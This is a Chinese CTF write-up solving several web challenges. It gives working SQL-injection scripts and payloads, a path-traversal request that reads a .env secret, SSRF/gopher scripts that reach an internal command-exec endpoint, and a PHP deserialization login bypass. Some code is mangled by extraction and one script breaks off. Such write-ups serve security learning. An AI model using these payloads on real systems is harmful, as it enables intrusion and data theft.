

首先感谢师傅们的帮助！

by Firebasky

easy_sql

经过测试发现可以通过')去闭合sql语句，在通过#去注释

因为比较简单，就最开始通过sqlmap去跑

跑出当前数据库 security 里面有一些表 重要的就是 flag 表

之后就跑不出flag表里面的字段啦（不知道为什么？）

最后绕过思路是，测试发现flag表里面有一个字段，因为当前的表是2个字段则就可以利用

原理：https://blog.csdn.net/qq_46091464/article/details/107599439

```
select * from flag
```

自己是利用盲注的，羽师傅是报错注入

```
1  -*- coding:utf-8 -*-
2  import requests as req
3  import time
4
5  url = "http://124.71.148.26:30022"
6
7  result = ''
8
9  for i in range(1,50):
10     time.sleep(0.08)
11     low = 32
12     high = 128
13     mid = (low+high)//2
14     while(low<high):
15         payload = ''1')||(ascii(substr((select *
16         from(flag)),%d,1))>%d)##'%(i,mid)
17         data1 = {
18             "uname":1,
19             'passwd':payload
20         }
21         r = req.post(url,data=data1)
22         print(low,high,mid,':')
23         if "login" in r.text:
24             #是存在的字母
25             low = mid+1
26         else:
27             high = mid
28             mid = (low+high)//2
29
30     result +=chr(mid)
31     print(result)
32 print("dflag=",result)
```

```
1 #报错注入
2 ')||updatexml(1,concat('~',(select * from flag),'~'),1)%23
```

ezsqli

考察sql注入并且添加了验证码

```
1 if ( !sqlwaf($password) )
2     alertMes('damn hacker' , './index.php");
3     # admin'and if(substr(password,1,1)='b',1,0)#
4     # admin'or(1)#
5
6     $sql = "SELECT * FROM users WHERE username='${username}' AND password=
    '${password}'";
```

查看代码发现只是对password进行过滤,那我们的注入点就是在username

问题是手工太慢啦,需要一个识别验证码的工具来跑

方法二: 利用union select 去构造虚拟数据

原理: https://blog.csdn.net/qq_46091464/article/details/107599439

通过union select构造虚拟数据

先进行判断字段

```
1 username=-1' union select 1,2,3#
2 assword=admin
3 captcha=XXX
4 #判断出字段是3个字段
5 #然后去构造虚拟数据
```

```
1 #exp
2 username=-1' union select 'admin','admin','1'#
3 password=1
4 captcha=XXXX
```

SecretGuess

<https://www.wangan.com/docs/392>

是一个cve漏洞 CVE-2017-14849

```
1 //app.js
2 const express = require('express');
3 const path = require('path');
4 const env = require('dotenv').config();#默认读取项目根目录下的.env文件
5 const bodyParser = require('body-parser');
```

```

6  const crypto = require('crypto');
7  const fs = require('fs')
8  const hbs = require('hbs');
9  const process = require("child_process")
10
11  const app = express();
12
13  app.use('/static', express.static(path.join(__dirname, 'public')));
14  app.use(bodyParser.urlencoded({ extended: false }));
15  app.use(bodyParser.json());
16  app.set('views', path.join(__dirname, "views/"))
17  app.engine('html', hbs.__express)
18  app.set('view engine', 'html')
19
20  app.get('/', (req, res) => {
21      res.render("index")
22  })
23
24  app.post('/', (req, res) => {
25      if (req.body.auth && typeof req.body.auth === 'string' &&
        crypto.createHash('md5').update(env.parsed.secret).digest('hex') ===
        req.body.auth ) {
26          res.render("index", {result: process.execSync("echo $FLAG")})
27      } else {
28          res.render("index", {result: "wrong secret"})
29      }
30  })
31
32  app.get('/source', (req, res) => {
33      res.end(fs.readFileSync(path.join(__dirname, "app.js")))
34  })
35
36  app.listen(80, "0.0.0.0");

```

```

1  #其中重要的代码
2  if (req.body.auth && typeof req.body.auth === 'string' &&
    crypto.createHash('md5').update(env.parsed.secret).digest('hex') ===
    req.body.auth ) {
3      res.render("index", {result: process.execSync("echo $FLAG")})
4  } else {
5      res.render("index", {result: "wrong secret"})
6  }

```

- 1 需要获得env.parsed.secret 然后进行md5加密就可以获得flag
- 2 在之前就需要获得env这个文件

- 1 https://blog.csdn.net/weixin_40817115/article/details/86189969
- 2 `const env = require('dotenv').config();`

Node.js中的dotenv库的使用，由于项目不同需求，需要配置不同环境变量，按需加载不同的环境变量文件，使用dotenv，可以完美解决这一问题。使用dotenv，只需要将程序的环境变量配置写在.env文件中。

最后获得secret

```
GET /static/../../../../../../../../usr/local/app/.env HTTP/1.1
Host: 124.71.167.32:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
If-None-Match: W/"757-jjN9/WHq0xFZDVmzhjvBDpjdz0"
Cache-Control: max-age=0
```

```
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 04 Nov 2020 12:36:49 GMT
ETag: W/"16-17593427ae8"
Content-Type: application/octet-stream
Content-Length: 22
Date: Sat, 07 Nov 2020 16:42:20 GMT
Connection: close

secret=CVE-2017-14849
```

最后通过md5加密 获得flag

路径是/usr/local/app/ app目录下有app.js & bin/www & .env

SSRF Me

考察ssrf漏洞,gopher协议, 命令执行

因为手工太慢了, 附上羽师傅写的脚本

```
1 url="http://124.71.187.100:8079/"
2 import requests
3 import re
4 import hashlib
5 sess=requests.session()
6 r=sess.get(url)
7 a=re.findall("(.+?)<'<',r.text)[0]
8 s=""
9 for i in range(0,99999999):#暴力破解验证码
10     m=hashlib.md5()
11     m.update(str(i).encode('utf-8'))
12     output=m.hexdigest()
13     if str(output)[-6:]==a:
14         s=str(i)
15         break
16 data={
17     'url':'file:///var/www/html/index.php',
18     'captcha':s
19 }
20 r2=sess.post(url,data)
21 a2=re.findall(r'</form>(.)</div>',r2.text,re.DOTALL)[0]
22 print(a2)
```

```
1 #ssrf.php
2 <?php
3 error_reporting(0);
4 session_start();
5 require_once "lib.php";
6 init();
7
8 $is_die = 0;
9 $is_post = 0;
10 $die_mess = '';
11 $url = '';
12 if (isset($_POST['url']) && isset($_POST['captcha']) &&
13     !empty($_POST['url']) && !empty($_POST['captcha']))
14 {
15     $url = $_POST['url'];
```

```

15     $captcha = $_POST['captcha'];
16     $is_post = 1;
17     if ( $captcha !== $_SESSION['answer'])
18     {
19         $die_mess = "wrong captcha";
20         $is_die = 1;
21     }
22
23     if ( preg_match('/flag|proc|log/i', $url) )
24     {
25         $die_mess = "hacker";
26         $is_die = 1;
27     }
28 }
29
30 ?>
31
32     <?php
33     if ( $is_die === 0 && $is_post === 1 ) {
34         echo curl($url);
35         set_session();
36     }
37     ?>

```

```

1  #lib.php
2  <?php
3  session_start();
4  function curl($url){
5      $ch = curl_init();
6      curl_setopt($ch, CURLOPT_URL, $url);
7      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
8      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
9      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
10     $output = curl_exec($ch);
11     curl_close($ch);
12     return $output;
13 }

```

对flag|proc|log进行了过滤，并且不出网

思路一般是探测内网 /etc/hosts 内网主机端口 攻击mysql redis fpm等等

测试发现并没有什么利用点只能查看服务器apache的配置文件

/etc/apache2/apache2.conf

```

1  #/etc/apache2/apache2.conf
2  <Directory /var/www/htmlssrf123123这个目录>
3      Options Indexes FollowSymLinks
4      AllowOverride None
5      Require all granted
6  </Directory>
7  #然后去看看/var/www/htmlssrf123123这个目录
8
9
10 # Include list of ports to listen on
11 Include ports.conf

```

```

1 #/var/www/html/ssrf123123/index.php
2 <?php
3     if(isset($_POST['cmd'])){
4         exec($_POST['cmd']);
5     }
6 ?>
7 但是不能访问，又去看看端口

```

```

1 #/etc/apache2/ports.conf
2
3     Listen 80
4 Listen 47852
5
6 <IfModule ssl_module>
7     Listen 443
8 </IfModule>
9
10 <IfModule mod_gnutls.c>
11     Listen 443
12 </IfModule>
13

```

所以/var/www/html/ssrf123123/index.php应该是在打开47852上

然后就利用gopher协议去访问这个内网的端口,并且要执行命令，没有回显，只能盲注。

这里还是附上羽师傅的脚本（yu师傅tql!!!）

```

1 url="http://124.71.187.100:8079/"
2 import requests
3 import re
4 import hashlib
5 import urllib
6 def encode(string):
7     encode_string = ""
8     for char in string:
9         encode_char = '%'+hex(ord(char)).replace("0x", "").zfill(2)
10        encode_string += encode_char
11    return encode_string
12
13 sess=requests.session()
14 r=sess.get(url)
15 a=re.findall('"(.+?)" <',r.text)[0]
16 s=""
17 for i in range(0,99999999):
18     m=hashlib.md5()
19     m.update(str(i).encode('utf-8'))
20     output=m.hexdigest()
21     if str(output)[-6:]==a:
22         s=str(i)
23         break
24 payload=''POST / HTTP/1.1
25 Host: 127.0.0.1:47852
26 Content-Length: 40
27 Content-Type: application/x-www-form-urlencoded
28 Connection: close

```

最后就是修改脚本进行盲注

by 开心师傅

这里解释一下file后面的url编码:后面的url编码是进行编码了一次,但是通过python请求的时候又对%进行编码,所以最后传递的数据应该是file:////%2566%256c%2561%2567,才符合原理

warmup

然后又去寻找利用点

```

1  #index.php
2  $last_login_info = unserialize (base64_decode
   ($_COOKIE['last_login_info']));
3
4  #con.php
5      public function __wakeup(){#unserialize触发
6          if (!isset ($this->conn)) {
7              $this->connect ();
8          }
9          if($this->table){
10             $this->waf();
11         }
12         $this->check_login();#验证登录
13         $this->conn->close();
14     }

```

可以利用cookie进行反序列化,然后执行__wakeup()函数重新查询,进行登录绕过

```

1  #exp.php
2  <?php
3  error_reporting(0);
4  class SQL {
5      public $table = 'users';
6      public $username = 'admin';
7      public $password = "1'or'1";
8      public $conn;
9      public function __construct() {
10     }
11 }
12 $a =new SQL();
13 echo base64_encode(serialize($a))
14 ?>
15 #修改成为cookie的值就可以获得flag

```